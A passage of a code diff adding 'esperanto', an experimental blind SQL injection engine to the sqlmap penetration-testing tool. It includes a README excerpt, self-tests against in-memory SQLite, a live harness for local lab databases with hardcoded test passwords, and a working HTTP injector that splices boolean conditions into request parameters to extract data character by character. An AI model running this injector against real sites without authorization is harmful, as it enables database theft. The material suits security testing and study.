are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value.
|
||||
|
||||
## Scope and limitations
|
||||
|
||||
This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for
|
||||
sqlmap's native retrieval. Known boundaries:
|
||||
|
||||
- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the
|
||||
information theory of a boolean oracle (about one bit per request) and by network latency. It is
|
||||
built for reach, not speed.
|
||||
- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully
|
||||
separated, backend-aware qualification (for example SQL Server `database.schema.table` via a
|
||||
`sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort.
|
||||
- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a
|
||||
codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too),
|
||||
resolving the common cases definitively. A column whose character set differs from the database
|
||||
default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather
|
||||
than asserted.
|
||||
- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character
|
||||
comparison modes under an ordered comparator; they do not yet drive the pattern-only or
|
||||
membership-only modes, and the frozen field set does not yet carry every discovered semantic.
|
||||
|
||||
Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting
|
||||
it as trustworthy.
|
||||
|
||||
## Self-test
|
||||
|
||||
```
|
||||
python run.py --self-test
|
||||
```
|
||||
|
||||
runs the engine against an in-memory SQLite oracle across every compare mode plus identification,
|
||||
byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen
|
||||
strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`.
|
||||
|
||||
---
|
||||
|
||||
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.
|
||||
@@ -0,0 +1,30 @@
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
esperanto - a DBMS-agnostic SQL poking prototype.
|
||||
|
||||
Given only a boolean oracle - a callable oracle(condition) -> bool that reports
|
||||
whether an arbitrary SQL boolean expression holds at the target - this discovers
|
||||
the target's SQL dialect from scratch (concatenation operator, substring / length
|
||||
/ char-code functions, string comparison, catalog surface) and then extracts data
|
||||
char-by-char WITHOUT ever being told which DBMS is on the other end.
|
||||
|
||||
The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
|
||||
across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
|
||||
as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
|
||||
first and loading one dialect.
|
||||
|
||||
This is a self-contained research prototype (no sqlmap imports); run it directly
|
||||
for a built-in self-test against an in-memory SQLite oracle.
|
||||
"""
|
||||
|
||||
__version__ = "1.0.0"
|
||||
|
||||
from .engine import Esperanto
|
||||
from .engine import hostExtract
|
||||
from .handler import buildHandler
|
||||
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity
|
||||
from .records import OracleUndecided, QueryBudgetExceeded
|
||||
|
||||
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"]
|
||||
@@ -0,0 +1,755 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from . import __version__
|
||||
from .atlas import _REPL
|
||||
from .engine import Esperanto, hostExtract
|
||||
from .records import (
|
||||
OracleUndecided, ExtractResult, QueryBudgetExceeded)
|
||||
|
||||
_SITE = "https://sqlmap.org"
|
||||
|
||||
# ratio-mode confidence margin: if the true/false similarity scores are within this of each
|
||||
# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing.
|
||||
_RATIO_MARGIN = 0.05
|
||||
|
||||
|
||||
def _sqliteOracle(block=None):
|
||||
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
|
||||
`block` is a regex of constructs to refuse, used to force fallback modes."""
|
||||
import re as _re
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
|
||||
con.execute("INSERT INTO users VALUES (1, 'Admin-42')")
|
||||
con.commit()
|
||||
pat = _re.compile(block) if block else None
|
||||
|
||||
def oracle(condition):
|
||||
if pat and pat.search(condition):
|
||||
return False
|
||||
try:
|
||||
cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition)
|
||||
return cur.fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
# unsupported/rejected SQL is a valid negative capability result; only
|
||||
# transport/observation failures are allowed to raise (oracle contract)
|
||||
return False
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _selftest():
|
||||
# exercise every compare mode against one byte-ordered, case-sensitive backend
|
||||
# (SQLite) by selectively refusing constructs - proves each extraction path
|
||||
code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\("
|
||||
coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW"
|
||||
hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR"
|
||||
modes = (
|
||||
("code", None),
|
||||
("collation", r"(?i)(%s)" % code),
|
||||
("hex", r"(?i)(%s|%s)" % (code, coll)),
|
||||
("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)),
|
||||
)
|
||||
for expected, block in modes:
|
||||
esp = Esperanto(_sqliteOracle(block=block))
|
||||
dialect = esp.discover()
|
||||
got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare)
|
||||
assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got)
|
||||
print(" %-8s mode: %-52r -> extracted %r in %d queries" % (
|
||||
expected, dialect, got, esp.queryCount))
|
||||
# equality mode exercised directly (charset scan)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42"
|
||||
print(" equality mode: charset-scan extraction -> OK")
|
||||
|
||||
# the detective: name the backend blind
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
verdict = esp.identify()
|
||||
assert verdict["product"] == "SQLite", "identify failed: %r" % verdict
|
||||
print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict)
|
||||
|
||||
# bytes-first extraction: byte-exact, encoding chosen by the caller
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source)
|
||||
raw = esp.extractBytes(mb)
|
||||
assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw
|
||||
assert esp.extractText(mb) == u"A\xe9\u20ac"
|
||||
print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb)))
|
||||
|
||||
# quorum: a noisy oracle that flips/errors a minority of probes must not corrupt.
|
||||
# tested across several seeds so the pass doesn't hinge on one lucky sequence.
|
||||
import random as _random
|
||||
for seed in (1234, 7, 99, 2026):
|
||||
base = _sqliteOracle()
|
||||
rng = _random.Random(seed)
|
||||
|
||||
def noisy(cond, _b=base, _r=rng):
|
||||
roll = _r.random()
|
||||
if roll < 0.12:
|
||||
raise RuntimeError("transient") # 12% errors (resampled)
|
||||
if roll < 0.20:
|
||||
return not _b(cond) # 8% lies
|
||||
return _b(cond)
|
||||
|
||||
esp = Esperanto(noisy, quorum=6)
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
|
||||
print(" quorum=6 under 20% noisy oracle (12% err + 8% lies) -> 'Admin-42' across 4 seeds")
|
||||
|
||||
# -- integrity guards (peer-review round 4) --------------------------------
|
||||
# empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
|
||||
assert not ExtractResult("") and not ExtractResult(None)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
zero = esp.extractResult("'abc'", limit=0)
|
||||
assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero
|
||||
# an invalid expression must NOT masquerade as a complete SQL NULL
|
||||
bad = esp.extractResult("NO_SUCH_FN(1)")
|
||||
assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad
|
||||
# integer extraction must raise, not saturate
|
||||
try:
|
||||
esp.extractInteger("100", maximum=10)
|
||||
assert False, "extractInteger saturated silently"
|
||||
except OverflowError:
|
||||
pass
|
||||
# an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees:
|
||||
# (a) discovery aborts (a broken oracle can't manufacture a working dialect); while
|
||||
# probing candidate rungs an unobservable probe reads False, so sanity fails ->
|
||||
# RuntimeError, never a bogus discovered dialect
|
||||
try:
|
||||
Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover()
|
||||
assert False, "broken oracle silently discovered a dialect"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# (b) a DATA READ never manufactures False from an unobservable probe: it raises
|
||||
# OracleUndecided (the whole point - a flaky read must not corrupt a bit)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery
|
||||
try:
|
||||
esp.extract("(SELECT MAX(name) FROM users)")
|
||||
assert False, "undecided oracle silently became data"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
# embedded/leading NUL must not truncate (whole-value verification recovers it)
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t (a TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", ("A\x00B",))
|
||||
con.commit()
|
||||
|
||||
def nulOracle(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(nulOracle)
|
||||
esp.discover()
|
||||
nul = esp.extractResult("(SELECT a FROM t)")
|
||||
assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul
|
||||
|
||||
# -- round-5 adversarial regressions --------------------------------------
|
||||
esp = Esperanto(_sqliteOracle(), maxlen=0)
|
||||
esp.discover()
|
||||
z = esp.extractResult("'abc'")
|
||||
assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
for bad in (("-100", 10), ("100", 10)): # symmetric integer cap
|
||||
try:
|
||||
esp.extractInteger(bad[0], maximum=bad[1])
|
||||
assert False, "int cap not enforced for %s" % bad[0]
|
||||
except OverflowError:
|
||||
pass
|
||||
try: # None observation -> undecided
|
||||
Esperanto(lambda c: None, retries=0)._ask("1=1")
|
||||
assert False, "None became False"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
try: # hard query budget
|
||||
Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1")
|
||||
assert False, "budget not enforced"
|
||||
except QueryBudgetExceeded:
|
||||
pass
|
||||
esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
try:
|
||||
esp.poc("'A'")
|
||||
assert False, "equality-mode PoC fabricated ordering"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# a UTF-16 code-unit fn returning an isolated surrogate must not be "complete"
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE s (v TEXT)")
|
||||
con.execute(u"INSERT INTO s VALUES ('\U0001F642')")
|
||||
con.create_function("ASCII", 1, lambda x: None if not x else (
|
||||
ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10)))
|
||||
con.commit()
|
||||
nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR")
|
||||
|
||||
def surOracle(cond):
|
||||
if nohex.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(surOracle)
|
||||
esp.discover()
|
||||
sur = esp.extractResult("(SELECT v FROM s)")
|
||||
assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur
|
||||
|
||||
print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded")
|
||||
|
||||
# -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface --
|
||||
oracle = _sqliteOracle()
|
||||
esp = Esperanto(oracle)
|
||||
esp.discover()
|
||||
strat = esp.strategy()
|
||||
try: # immutable
|
||||
strat.compare_mode = "x"
|
||||
assert False, "strategy is not frozen"
|
||||
except AttributeError:
|
||||
pass
|
||||
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
|
||||
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
|
||||
assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got
|
||||
row = strat.asQueriesRow()
|
||||
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
|
||||
print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value))
|
||||
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
|
||||
|
||||
|
||||
def _livetest(only=None, waf=False):
|
||||
"""Live blind validation against real DBMS instances (dev harness, '--live').
|
||||
Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as
|
||||
False, the transaction rolled back per probe - and is never told which engine it
|
||||
is poking. Requires the driver + a reachable instance; skips what it can't reach."""
|
||||
import re as _re
|
||||
SECRET = "Zagreb-Ka5tel"
|
||||
block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None
|
||||
|
||||
def cursor(con, wrap):
|
||||
def ask(cond):
|
||||
if block and block.search(cond):
|
||||
return False
|
||||
cur = con.cursor()
|
||||
try:
|
||||
cur.execute(wrap % cond)
|
||||
row = cur.fetchone()
|
||||
return bool(row) and int(row[0]) == 1
|
||||
except Exception:
|
||||
try:
|
||||
con.rollback()
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
finally:
|
||||
try:
|
||||
cur.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ask
|
||||
|
||||
def prep(con, ddl):
|
||||
cur = con.cursor()
|
||||
for stmt in ddl:
|
||||
try:
|
||||
cur.execute(stmt)
|
||||
except Exception:
|
||||
if hasattr(con, "rollback"):
|
||||
con.rollback()
|
||||
con.commit()
|
||||
cur.close()
|
||||
|
||||
def sqlite():
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def mysql():
|
||||
import pymysql
|
||||
con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def postgres():
|
||||
import psycopg2
|
||||
con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def oracle():
|
||||
import oracledb
|
||||
con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1")
|
||||
prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;",
|
||||
"CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL")
|
||||
|
||||
def mssql():
|
||||
import pymssql
|
||||
con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master")
|
||||
prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe",
|
||||
"CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
ok = True
|
||||
for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres),
|
||||
("Oracle", oracle), ("MSSQL", mssql)):
|
||||
if only and name.lower() not in only:
|
||||
continue
|
||||
try:
|
||||
oracle_fn = factory()
|
||||
except Exception as ex:
|
||||
print(" %-12s SKIP (%s)" % (name, ex))
|
||||
continue
|
||||
esp = Esperanto(oracle_fn)
|
||||
try:
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT MAX(name) FROM esp_probe)")
|
||||
product = esp.identify()["product"]
|
||||
except Exception as ex:
|
||||
print(" %-12s FAIL (%s)" % (name, ex))
|
||||
ok = False
|
||||
continue
|
||||
passed = got == SECRET
|
||||
ok = ok and passed
|
||||
print(" %-12s %s product=%-12r secret=%r%s" % (
|
||||
name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else ""))
|
||||
return ok
|
||||
|
||||
|
||||
def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None):
|
||||
"""A boolean oracle over a real HTTP target, for standalone use. The condition is
|
||||
substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply
|
||||
the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with
|
||||
` AND (<condition>)`.
|
||||
|
||||
True/false is decided by a reduced port of sqlmap's response differentiation - the
|
||||
Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from
|
||||
two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable
|
||||
signal - HTTP status code, else a stable text line present in true but not false,
|
||||
else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it
|
||||
robust: DYNAMIC content (lines that differ between two identical true requests, e.g.
|
||||
timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed
|
||||
from the body so it can't skew the match (sqlmap's "reflective values ... filtering
|
||||
out"). Not a replacement for checkBooleanExpression - just its high-value core."""
|
||||
import difflib
|
||||
try: # py3
|
||||
from urllib.parse import quote as _quote, urlsplit
|
||||
from http.client import HTTPConnection, HTTPSConnection
|
||||
except ImportError: # py2
|
||||
from urllib import quote as _quote
|
||||
from urlparse import urlsplit
|
||||
from httplib import HTTPConnection, HTTPSConnection
|
||||
|
||||
if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")):
|
||||
url = url + "*" # no marker given -> inject at the end of the URL by default
|
||||
print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url)
|
||||
|
||||
# ONE kept-alive connection reused across every probe. a blind dump is thousands of
|
||||
# requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of
|
||||
# pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x.
|
||||
_conn = {"c": None, "key": None}
|
||||
|
||||
def _fresh(scheme, netloc):
|
||||
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
|
||||
|
||||
def fetch(cond):
|
||||
# encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a
|
||||
# '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the
|
||||
# parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape.
|
||||
if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context)
|
||||
payload = _quote(cond, safe="")
|
||||
u_raw = url.replace("[INFERENCE]", payload)
|
||||
d_raw = data.replace("[INFERENCE]", payload) if data else data
|
||||
else: # '*' -> boolean AND at the mark
|
||||
ins = _quote(" AND (%s)" % cond, safe="")
|
||||
u_raw = url.replace("*", ins, 1) if "*" in url else url
|
||||
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
|
||||
parts = urlsplit(u_raw) # the surrounding URL is already user-encoded
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + parts.query
|
||||
body = d_raw.encode("utf-8") if d_raw else None
|
||||
method = "POST" if body else "GET"
|
||||
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
|
||||
if body:
|
||||
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
|
||||
if cookie:
|
||||
hdrs["Cookie"] = cookie
|
||||
for h in (headers or []):
|
||||
k, _, v = h.partition(":")
|
||||
hdrs[k.strip()] = v.strip()
|
||||
key = (parts.scheme, parts.netloc)
|
||||
for attempt in (1, 2): # reuse the socket; reconnect once if it dropped
|
||||
if _conn["c"] is None or _conn["key"] != key:
|
||||
if _conn["c"] is not None:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key
|
||||
try:
|
||||
_conn["c"].request(method, path, body, hdrs)
|
||||
resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise)
|
||||
raw, status = resp.read(), resp.status # read fully so the socket stays reusable
|
||||
return raw.decode("utf-8", "replace"), status
|
||||
except Exception:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"] = None # force a reconnect on the retry
|
||||
return None, None # transport FAILED -> undecided, NOT ("",0)
|
||||
# (an empty body must never look like a False page)
|
||||
|
||||
dyn = set()
|
||||
|
||||
def _deReflect(body, cond):
|
||||
return body.replace(cond, "") if cond else body # drop the reflected payload
|
||||
|
||||
def _clean(body, cond):
|
||||
body = _deReflect(body, cond)
|
||||
return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body
|
||||
|
||||
mode, wanted, base = None, None, {}
|
||||
if string is not None:
|
||||
mode = "string"
|
||||
elif code is not None:
|
||||
mode, wanted = "code", int(code)
|
||||
else: # auto-calibrate
|
||||
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
|
||||
if t1 is None or t2 is None or f1 is None:
|
||||
raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request")
|
||||
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
|
||||
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
|
||||
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
|
||||
mode, wanted = "code", s1
|
||||
else:
|
||||
# (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is
|
||||
# in the true page but not the false one, capped to a "longish" string (never the
|
||||
# whole document) and verified stable across BOTH true baselines
|
||||
t2c = _clean(t2, "1=1")
|
||||
blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes()
|
||||
chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks
|
||||
if op in ("insert", "replace")), key=len, reverse=True)
|
||||
wanted = None
|
||||
for chunk in chunks:
|
||||
marker = chunk[:64] # bounded, distinctive marker
|
||||
if len(marker) >= 6 and marker in t2c and marker not in fc:
|
||||
mode, wanted = "autostring", marker
|
||||
break
|
||||
if wanted is None: # (3) similarity ratio floor
|
||||
mode, base = "ratio", {"t": tc, "f": fc}
|
||||
if string is None:
|
||||
print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
|
||||
|
||||
def classify(cond):
|
||||
body, status = fetch(cond)
|
||||
if body is None: # transport failure -> UNDECIDED (tri-state):
|
||||
return None # let the engine retry/degrade, never a fake bool
|
||||
if mode == "string":
|
||||
return string in body
|
||||
if mode == "code":
|
||||
return status == wanted
|
||||
if mode == "autostring":
|
||||
return wanted in _clean(body, cond)
|
||||
c = _clean(body, cond)
|
||||
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
|
||||
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
|
||||
if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip
|
||||
return None
|
||||
return st > sf
|
||||
|
||||
state = {"n": 0, "dead": False}
|
||||
|
||||
def oracle(cond):
|
||||
# PERIODIC control revalidation: over thousands of requests the baseline can drift
|
||||
# (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes
|
||||
# re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather
|
||||
# than keep feeding a broken model into bisection.
|
||||
state["n"] += 1
|
||||
if state["n"] % 256 == 0 or state["dead"]:
|
||||
t, f = classify("1=1"), classify("1=2")
|
||||
state["dead"] = not (t is True and f is False)
|
||||
if state["dead"]:
|
||||
print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f))
|
||||
return None
|
||||
return classify(cond)
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _safeterm(s):
|
||||
"""Neutralize control/escape bytes in DB content before it reaches the terminal - stored
|
||||
values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes
|
||||
that would otherwise manipulate or forge the operator's console."""
|
||||
if s is None:
|
||||
return s
|
||||
# escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI
|
||||
# introducer, so leaving the C1 range through would still let stored content drive the terminal
|
||||
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
|
||||
|
||||
|
||||
def _printTable(columns, rows):
|
||||
"""Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins."""
|
||||
cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows]
|
||||
widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))]
|
||||
bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
|
||||
line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |"
|
||||
print(bar)
|
||||
print(line(columns))
|
||||
print(bar)
|
||||
for r in cells:
|
||||
print(line(r))
|
||||
print(bar)
|
||||
|
||||
|
||||
import binascii as _binascii
|
||||
_HEX = set("0123456789abcdefABCDEF")
|
||||
|
||||
|
||||
def _previewFramed(partial):
|
||||
"""A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress
|
||||
token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles
|
||||
BOTH grammars: length-framed `V<len>:<hex>;` / `N;` and the legacy `V<hex>` / `N` (','-sep).
|
||||
Returns None when `partial` isn't a framed payload."""
|
||||
if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial):
|
||||
return None
|
||||
|
||||
def _dec(h):
|
||||
h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far
|
||||
try:
|
||||
return _binascii.unhexlify(h).decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return "?"
|
||||
|
||||
out = []
|
||||
if ";" in partial or ":" in partial: # length-framed grammar: V<len>:<hex>; / N;
|
||||
for t in partial.split(";"):
|
||||
if not t:
|
||||
continue
|
||||
if t == "N":
|
||||
out.append("NULL")
|
||||
elif t.startswith("V"):
|
||||
_lp, _sep, hx = t[1:].partition(":")
|
||||
out.append(_dec(hx))
|
||||
return ", ".join(out)
|
||||
for t in partial.split(","): # legacy grammar
|
||||
if t == "N":
|
||||
out.append("NULL")
|
||||
elif t.startswith("V"):
|
||||
out.append(_dec(t[1:]))
|
||||
return ", ".join(out)
|
||||
|
||||
|
||||
def _scalar(esp, expr):
|
||||
"""A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact
|
||||
(truncated / case-ambiguous / unverified) value is shown with its status, never as if exact."""
|
||||
r = esp.extractResult(expr)
|
||||
if r.value is None:
|
||||
return "NULL" if r.is_null else "n/a (unresolved)"
|
||||
return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity)
|
||||
|
||||
|
||||
def _report(esp, args):
|
||||
"""Run the requested action(s) against a discovered target and print the results."""
|
||||
print("[*] dialect: %r" % esp.dialect)
|
||||
verdict = esp.identify()
|
||||
print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or ""))
|
||||
# scope schema/db lookups to -D, else the current database (and, for a specific table,
|
||||
# the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system
|
||||
# schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a
|
||||
# garbage 0-row dump. mirrors the sqlmap handler's _scopeFor.
|
||||
scope = args.db
|
||||
